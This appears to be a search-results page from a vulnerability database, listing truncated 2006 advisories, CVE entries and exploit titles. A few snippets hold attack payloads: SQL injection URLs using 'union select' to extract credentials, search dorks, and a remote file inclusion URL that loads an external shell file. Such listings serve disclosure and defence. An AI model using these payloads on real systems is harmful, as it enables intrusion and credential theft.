6617 matches found
Simplog 0.9.3.1 - 'comments.php' SQL Injection
!/usr/bin/php input type=text name=cname maxlength=64 value="",$data; $bname = expl...
[SECURITY] [DSA 1195-1] new openssl096 packages fix denial of service
------------------------------------------------------------------------ Debian Security Advisory DSA-1195-1 [email protected] http://www.debian.org/security/ Noah Meyerhans October 10, 2006 - ------------------------------------------------------------------------ Package : openssl096...
Album Photo Sans Nom <= 1.6 Remote Source Disclosure Vulnerability
Exploit for unknown platform in category web applications ================================================================== Album Photo Sans Nom = 1.6 Remote Source Disclosure Vulnerability ================================================================== Title..: 7 php scripts File Inclusion...
[SA22211] WWWthreads "Cat" Cross-Site Scripting Vulnerabilities
TITLE: WWWthreads "Cat" Cross-Site Scripting Vulnerabilities SECUNIA ADVISORY ID: SA22211 VERIFY ADVISORY: http://secunia.com/advisories/22211/ CRITICAL: Less critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: WWWthreads http://secunia.com/product/9471/ DESCRIPTION: Root3rH3ll has...
xweblog <= 2.1 (kategori.asp) Remote SQL Injection Vulnerability
No description provided by source. xweblog = 2.1 tr kategori.aspRemote SQL Injection Vulnerability Author : Muhacir Source : http://www.aspindir.com/goster/4386 Exploit : http://www.victim.com/xweblog path/kategori.asp?kategori=-1%20union%20select%200,ad,2,3,4,5,6,7,8,9,sifre,11,12%20from%20uyele...
Q-Shop 3.5 (browse.asp) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ========================================================== Q-Shop 3.5 browse.asp Remote SQL Injection Vulnerability ========================================================== Vulnerability Report Title : Q-Shop v3.5browse.asp Remote SQL...
Techno Dreams FAQ Manager 1.0 - SQL Injection
Title : Techno Dreams FAQ Manager Package v1.0faqview.asp Remote SQL Injection Vulnerability Author : ajann Dork : faqview.asp?key Script Page : http://www.t-dreams.com Exploit; http://target/path/faqview.asp?key=SQL HERE Example:...
Microsoft PGM Remote Buffer Overflow Vulnerability
Description Microsoft Pragmatic General Multicast PGM is prone to a remote buffer-overflow vulnerability because the application fails to properly bounds-check externally supplied data. An attacker can exploit this issue to execute arbitrary code, facilitating a complete system compromise. This...
SQL-Ledger 2.6.x/LedgerSMB 1.0 - 'Terminal' Directory Traversal
source: https://www.securityfocus.com/bid/19960/info SQL-Ledger and LedgerSMB are prone to a remote directory-traversal vulnerability. An attacker can exploit this issue to include arbitrary files located on the vulnerable computer in the context of the webserver process. The attacker may be able...
Vivvo Article Manager <= 3.2 (id) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ==================================================================== Vivvo Article Manager = 3.2 id Remote SQL Injection Vulnerability ==================================================================== MercilessTurk email protected App...
[Full-disclosure] [SECURITY] [DSA 1158-1] New streamripper packages fix arbitrary code execution
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA 1158-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff August 25th, 2006 http://www.debian.org/security/faq -...
[SECURITY] [DSA 1145-1] New freeradius packages fix several vulnerabilities
-------------------------------------------------------------------------- Debian Security Advisory DSA 1145-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff August 8th, 2006 http://www.debian.org/security/faq -...
CVE-2006-4005
BomberClone 0.11.6 and earlier allows remote attackers to cause a denial of service daemon crash via 1 a certain malformed PKGFackreq packet, which triggers a crash in the rscacheadd function in pkgcache.c; and 2 an error packet, which is intended to be received by clients and force client...
[SECURITY] [DSA 1141-1] New GnuPG2 packages fix denial of service
-------------------------------------------------------------------------- Debian Security Advisory DSA 1141-1 [email protected] http://www.debian.org/security/ Martin Schulze August 4th, 2006 http://www.debian.org/security/faq -...
artlinks Mambo Component <= Remote Include Vulnerability
artlinks Mambo Component = Remote Include Vulnerability Rish : High Class : Remote Script : artlinks Thanx : www.lezr.com/vb & All kuwait hackers d0rkiz : allinurl:"comartlinks" http://www.site.com/components/comartlinks/artlinks.dispnew.php?mosConfigabsolutepath=http://shell.txt by Dr.Jr7...
[SECURITY] [DSA 1133-1] New mantis packages fix execution of arbitrary web script code
-------------------------------------------------------------------------- Debian Security Advisory DSA 1133-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff August 1st, 2006 http://www.debian.org/security/faq -...
security flaw
The snmptrapdecode function in the SNMP NAT helper for Linux kernel before 2.6.16.18 allows remote attackers to cause a denial of service crash via unspecified remote attack vectors that cause failures in snmptrapdecode that trigger 1 frees of random memory or 2 frees of previously-freed memory...
CVE-2006-3665
SquirrelMail 1.4.6 and earlier, with registerglobals enabled, allows remote attackers to hijack cookies in src/redirect.php via unknown vectors. NOTE: while "cookie theft" is frequently associated with XSS, the vendor disclosure is too vague to be certain of this...
AdPlug 2.0 - Multiple Remote File Buffer Overflow Vulnerabilities
AdPlug 2.0 - Multiple Remote File Buffer Overflow Vulnerabilities // source: https://www.securityfocus.com/bid/18859/info The AdPlug library is affected by multiple remote buffer-overflow vulnerabilities. These issues are due to the library's failure to properly bounds-check user-supplied input...
CentOS 3 / 4 : sendmail (CESA-2006:0515)
Updated sendmail packages are now available to fix a denial of service security issue. This update has been rated as having important security impact by the Red Hat Security Response Team. Updated 27 June 2006 The sendmail-docs packages for Red Hat Enterprise Linux 3 have been updated to the...